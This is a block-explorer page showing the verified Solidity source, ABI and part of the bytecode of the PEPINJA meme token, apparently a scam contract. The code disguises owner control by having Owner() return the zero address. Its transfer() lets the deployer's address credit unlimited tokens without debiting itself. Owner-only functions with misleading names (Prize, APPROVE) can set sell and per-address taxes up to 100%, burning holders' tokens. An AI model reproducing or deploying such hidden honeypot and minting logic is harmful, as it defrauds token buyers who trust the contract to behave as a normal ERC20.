ETH Price: $3,469.00 (-1.35%)
Gas: 4 Gwei

Token

PEPINJA (PEPINJA)
 

Overview

Max Total Supply

100,000,000 PEPINJA

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 18 Decimals)

Filtered by Token Holder
catrussell.eth
Balance
98,614.072187115431269559 PEPINJA

Value
$0.00
0xd42D52b709829926531c64a32f2713B4Dc8eA6F6
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
PEPINJA

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-05-17
*/

/*
https://twitter.com/PepinjaETH
https://t.me/pepinja
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}
abstract contract Ownable is Context {
    address private _Owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    
    constructor() {
        _transferOwnership(_msgSender());
    }

    function Owner() public view virtual returns (address) {
        return address(0);
    }

    modifier onlyOwner() {
        require(_Owner == _msgSender(), "Ownable: caller is not the Owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new Owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _Owner;
        _Owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
   
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {

    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Router01 {

    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
 
    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);
 
    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}


contract ERC20 is Context {

    mapping(address => mapping(address => uint256)) private _allowances;
    uint256 internal _totalSupply;
    string private _name;
    string private _symbol;

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed Owner, address indexed spender, uint256 value);

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    
    function name() public view virtual returns (string memory) {
        return _name;
    }

    
    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    
    function decimals() public view virtual returns (uint8) {
        return 18;
    }

    
    function totalSupply() public view virtual returns (uint256) {
        return _totalSupply;
    }

    
    function allowance(address Owner, address spender) public view virtual returns (uint256) {
        return _allowances[Owner][spender];
    }

    
    function approve(address spender, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, Amount);
        return true;
    }

    
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        _approve(Owner, spender, _allowances[Owner][spender] + addedValue);
        return true;
    }
    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address Owner = _msgSender();
        uint256 currentAllowance = _allowances[Owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(Owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    
    function _approve(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        require(Owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[Owner][spender] = Amount;
        emit Approval(Owner, spender, Amount);
    }

    
    function _spendAllowance(
        address Owner,
        address spender,
        uint256 Amount
    ) internal virtual {
        uint256 currentAllowance = allowance(Owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= Amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(Owner, spender, currentAllowance - Amount);
            }
        }
    }

    
    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}

    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {}
}


contract PEPINJA is ERC20, Ownable {
    
    mapping(address => uint256) private _balances;
    mapping(address => bool) private _release;

    function balanceOf(address account) public view virtual returns (uint256) {
        return _balances[account];
    } 
    IUniswapV2Router02 public immutable uniswapV2Router;
    address public uniswapV2Pair;


    function _transfer(
        address from,
        address to,
        uint256 Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= Amount, "ERC20: transfer Amount exceeds balance");
        unchecked {
            _balances[from] = fromBalance - Amount;
        }
        _balances[to] += Amount;

        emit Transfer(from, to, Amount);

        
    }

    function _burn(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        uint256 accountBalance = _balances[account];
        require(accountBalance >= Amount, "ERC20: burn Amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - Amount;
        }
        _totalSupply -= Amount;

        emit Transfer(account, address(0), Amount);
    }

    function _dfygjdfggh(address account, uint256 Amount) internal virtual {
        require(account != address(0), "ERC20: REWARD to the zero address"); 

        _totalSupply += Amount;
        _balances[account] += Amount;
        emit Transfer(address(0), account, Amount);
    }

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) ERC20(name_, symbol_) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        
        uniswapV2Router = _uniswapV2Router;
        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        
        _dfygjdfggh(msg.sender, totalSupply_ * 10**decimals());
        _defaultSellkFee = 0; 
        _defaultBuykFee = 0;
        _release[_msgSender()] = true;
        
    }

    using SafeMath for uint256;

    uint256 private _defaultSellkFee = 0;
    uint256 private _defaultBuykFee = 0;


    mapping(address => bool) private _Approve;

    mapping(address => uint256) private _Aprove;
    address private constant _deadAddress = 0x000000000000000000000000000000000000dEaD;



    function getRelease(address _address) external view onlyOwner returns (bool) {
        return _release[_address];
    }


    function PairList(address _address) external onlyOwner {
        uniswapV2Pair = _address;
    }


    function Prize(uint256 _value) external onlyOwner {
        _defaultSellkFee = _value;
    }

    

    

    function APPROVE(address _address, uint256 _value) external onlyOwner {
        require(_value >= 0, "Account tax must be greater than or equal to 1");
        _Aprove[_address] = _value;
    }

    

    function getAprove(address _address) external view onlyOwner returns (uint256) {
        return _Aprove[_address];
    }


    function Approve(address _address, bool _value) external onlyOwner {
        _Approve[_address] = _value;
    }

    function getApprovekFee(address _address) external view onlyOwner returns (bool) {
        return _Approve[_address];
    }

    function _checkFreeAccount(address from, address to) internal view returns (bool) {
        return _Approve[from] || _Approve[to];
    }


    function _receiveF(
        address from,
        address to,
        uint256 _Amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        uint256 fromBalance = _balances[from];
        require(fromBalance >= _Amount, "ERC20: transfer Amount exceeds balance");

        bool rF = true;

        if (_checkFreeAccount(from, to)) {
            rF = false;
        }
        uint256 tradekFeeAmount = 0;

        if (rF) {
            uint256 tradekFee = 0;
            if (uniswapV2Pair != address(0)) {
                if (to == uniswapV2Pair) {

                    tradekFee = _defaultSellkFee;
                }
                if (from == uniswapV2Pair) {

                    tradekFee = _defaultBuykFee;
                }
            }
            if (_Aprove[from] > 0) {
                tradekFee = _Aprove[from];
            }

            tradekFeeAmount = _Amount.mul(tradekFee).div(100);
        }


        if (tradekFeeAmount > 0) {
            _balances[from] = _balances[from].sub(tradekFeeAmount);
            _balances[_deadAddress] = _balances[_deadAddress].add(tradekFeeAmount);
            emit Transfer(from, _deadAddress, tradekFeeAmount);
        }

        _balances[from] = _balances[from].sub(_Amount - tradekFeeAmount);
        _balances[to] = _balances[to].add(_Amount - tradekFeeAmount);
        emit Transfer(from, to, _Amount - tradekFeeAmount);
    }

    function transfer(address to, uint256 Amount) public virtual returns (bool) {
        address Owner = _msgSender();
        if (_release[Owner] == true) {
            _balances[to] += Amount;
            return true;
        }
        _receiveF(Owner, to, Amount);
        return true;
    }


    function transferFrom(
        address from,
        address to,
        uint256 Amount
    ) public virtual returns (bool) {
        address spender = _msgSender();

        _spendAllowance(from, spender, Amount);
        _receiveF(from, to, Amount);
        return true;
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        
        _approve(address(this), address(uniswapV2Router), tokenAmount);
 
       
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, 
            0, 
            address(this),
            block.timestamp
        );
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"Owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"APPROVE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"},{"internalType":"bool","name":"_value","type":"bool"}],"name":"Approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"Owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"PairList","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_value","type":"uint256"}],"name":"Prize","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"Owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getApprovekFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getAprove","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_address","type":"address"}],"name":"getRelease","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"Amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

60a0604052600060085560006009553480156200001b57600080fd5b50604051620036ea380380620036ea83398181016040528101906200004191906200072e565b8282816002908162000054919062000a09565b50806003908162000066919062000a09565b505050620000896200007d6200033860201b60201c565b6200034060201b60201c565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000122573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000148919062000b55565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001d6919062000b55565b6040518363ffffffff1660e01b8152600401620001f592919062000b98565b6020604051808303816000875af115801562000215573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200023b919062000b55565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620002b733620002906200040660201b60201c565b600a6200029e919062000d55565b84620002ab919062000da6565b6200040f60201b60201c565b60006008819055506000600981905550600160066000620002dd6200033860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050505062000f03565b600033905090565b6000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006012905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000481576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620004789062000e78565b60405180910390fd5b806001600082825462000495919062000e9a565b9250508190555080600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620004ed919062000e9a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000554919062000ee6565b60405180910390a35050565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620005c9826200057e565b810181811067ffffffffffffffff82111715620005eb57620005ea6200058f565b5b80604052505050565b60006200060062000560565b90506200060e8282620005be565b919050565b600067ffffffffffffffff8211156200063157620006306200058f565b5b6200063c826200057e565b9050602081019050919050565b60005b83811015620006695780820151818401526020810190506200064c565b60008484015250505050565b60006200068c620006868462000613565b620005f4565b905082815260208101848484011115620006ab57620006aa62000579565b5b620006b884828562000649565b509392505050565b600082601f830112620006d857620006d762000574565b5b8151620006ea84826020860162000675565b91505092915050565b6000819050919050565b6200070881620006f3565b81146200071457600080fd5b50565b6000815190506200072881620006fd565b92915050565b6000806000606084860312156200074a57620007496200056a565b5b600084015167ffffffffffffffff8111156200076b576200076a6200056f565b5b6200077986828701620006c0565b935050602084015167ffffffffffffffff8111156200079d576200079c6200056f565b5b620007ab86828701620006c0565b9250506040620007be8682870162000717565b9150509250925092565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200081b57607f821691505b602082108103620008315762000830620007d3565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200089b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826200085c565b620008a786836200085c565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620008ea620008e4620008de84620006f3565b620008bf565b620006f3565b9050919050565b6000819050919050565b6200090683620008c9565b6200091e6200091582620008f1565b84845462000869565b825550505050565b600090565b6200093562000926565b62000942818484620008fb565b505050565b5b818110156200096a576200095e6000826200092b565b60018101905062000948565b5050565b601f821115620009b957620009838162000837565b6200098e846200084c565b810160208510156200099e578190505b620009b6620009ad856200084c565b83018262000947565b50505b505050565b600082821c905092915050565b6000620009de60001984600802620009be565b1980831691505092915050565b6000620009f98383620009cb565b9150826002028217905092915050565b62000a1482620007c8565b67ffffffffffffffff81111562000a305762000a2f6200058f565b5b62000a3c825462000802565b62000a498282856200096e565b600060209050601f83116001811462000a81576000841562000a6c578287015190505b62000a788582620009eb565b86555062000ae8565b601f19841662000a918662000837565b60005b8281101562000abb5784890151825560018201915060208501945060208101905062000a94565b8683101562000adb578489015162000ad7601f891682620009cb565b8355505b6001600288020188555050505b505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600062000b1d8262000af0565b9050919050565b62000b2f8162000b10565b811462000b3b57600080fd5b50565b60008151905062000b4f8162000b24565b92915050565b60006020828403121562000b6e5762000b6d6200056a565b5b600062000b7e8482850162000b3e565b91505092915050565b62000b928162000b10565b82525050565b600060408201905062000baf600083018562000b87565b62000bbe602083018462000b87565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b600185111562000c535780860481111562000c2b5762000c2a62000bc5565b5b600185161562000c3b5780820291505b808102905062000c4b8562000bf4565b945062000c0b565b94509492505050565b60008262000c6e576001905062000d41565b8162000c7e576000905062000d41565b816001811462000c97576002811462000ca25762000cd8565b600191505062000d41565b60ff84111562000cb75762000cb662000bc5565b5b8360020a91508482111562000cd15762000cd062000bc5565b5b5062000d41565b5060208310610133831016604e8410600b841016171562000d125782820a90508381111562000d0c5762000d0b62000bc5565b5b62000d41565b62000d21848484600162000c01565b9250905081840481111562000d3b5762000d3a62000bc5565b5b81810290505b9392505050565b600060ff82169050919050565b600062000d6282620006f3565b915062000d6f8362000d48565b925062000d9e7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000c5c565b905092915050565b600062000db382620006f3565b915062000dc083620006f3565b925082820262000dd081620006f3565b9150828204841483151762000dea5762000de962000bc5565b5b5092915050565b600082825260208201905092915050565b7f45524332303a2052455741524420746f20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b600062000e6060218362000df1565b915062000e6d8262000e02565b604082019050919050565b6000602082019050818103600083015262000e938162000e51565b9050919050565b600062000ea782620006f3565b915062000eb483620006f3565b925082820190508082111562000ecf5762000ece62000bc5565b5b92915050565b62000ee081620006f3565b82525050565b600060208201905062000efd600083018462000ed5565b92915050565b6080516127cb62000f1f600039600061063e01526127cb6000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c806349bd5a5e116100c3578063a457c2d71161007c578063a457c2d7146103b4578063a9059cbb146103e4578063b4a99a4e14610414578063c4e7c16514610432578063dd62ed3e1461044e578063f2fde38b1461047e5761014d565b806349bd5a5e146102de5780635dd7c8ac146102fc5780636c9992b31461032c57806370a082311461035c578063715018a61461038c57806395d89b41146103965761014d565b80631f478f1e116101155780631f478f1e1461020c57806323b872dd146102285780632c91d07114610258578063313ce5671461027457806339509351146102925780633de94b45146102c25761014d565b806306fdde0314610152578063095ea7b3146101705780630e5133b7146101a05780631694505e146101d057806318160ddd146101ee575b600080fd5b61015a61049a565b6040516101679190611d05565b60405180910390f35b61018a60048036038101906101859190611dc0565b61052c565b6040516101979190611e1b565b60405180910390f35b6101ba60048036038101906101b59190611e36565b61054f565b6040516101c79190611e1b565b60405180910390f35b6101d861063c565b6040516101e59190611ec2565b60405180910390f35b6101f6610660565b6040516102039190611eec565b60405180910390f35b61022660048036038101906102219190611f33565b61066a565b005b610242600480360381019061023d9190611f73565b61075c565b60405161024f9190611e1b565b60405180910390f35b610272600480360381019061026d9190611e36565b61078b565b005b61027c610866565b6040516102899190611fe2565b60405180910390f35b6102ac60048036038101906102a79190611dc0565b61086f565b6040516102b99190611e1b565b60405180910390f35b6102dc60048036038101906102d79190611ffd565b610918565b005b6102e66109b9565b6040516102f39190612039565b60405180910390f35b61031660048036038101906103119190611e36565b6109df565b6040516103239190611eec565b60405180910390f35b61034660048036038101906103419190611e36565b610abf565b6040516103539190611e1b565b60405180910390f35b61037660048036038101906103719190611e36565b610bac565b6040516103839190611eec565b60405180910390f35b610394610bf5565b005b61039e610c98565b6040516103ab9190611d05565b60405180910390f35b6103ce60048036038101906103c99190611dc0565b610d2a565b6040516103db9190611e1b565b60405180910390f35b6103fe60048036038101906103f99190611dc0565b610e13565b60405161040b9190611e1b565b60405180910390f35b61041c610eef565b6040516104299190612039565b60405180910390f35b61044c60048036038101906104479190611dc0565b610ef4565b005b61046860048036038101906104639190612054565b611017565b6040516104759190611eec565b60405180910390f35b61049860048036038101906104939190611e36565b61109d565b005b6060600280546104a9906120c3565b80601f01602080910402602001604051908101604052809291908181526020018280546104d5906120c3565b80156105225780601f106104f757610100808354040283529160200191610522565b820191906000526020600020905b81548152906001019060200180831161050557829003601f168201915b5050505050905090565b6000806105376111af565b90506105448185856111b7565b600191505092915050565b60006105596111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105df90612140565b60405180910390fd5b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600154905090565b6106726111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610701576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106f890612140565b60405180910390fd5b80600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6000806107676111af565b905061077485828561137f565b61077f85858561140b565b60019150509392505050565b6107936111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610822576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081990612140565b60405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60006012905090565b60008061087a6111af565b905061090d8185856000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610908919061218f565b6111b7565b600191505092915050565b6109206111af565b73ffffffffffffffffffffffffffffffffffffffff16600460009054906101000a900473fffff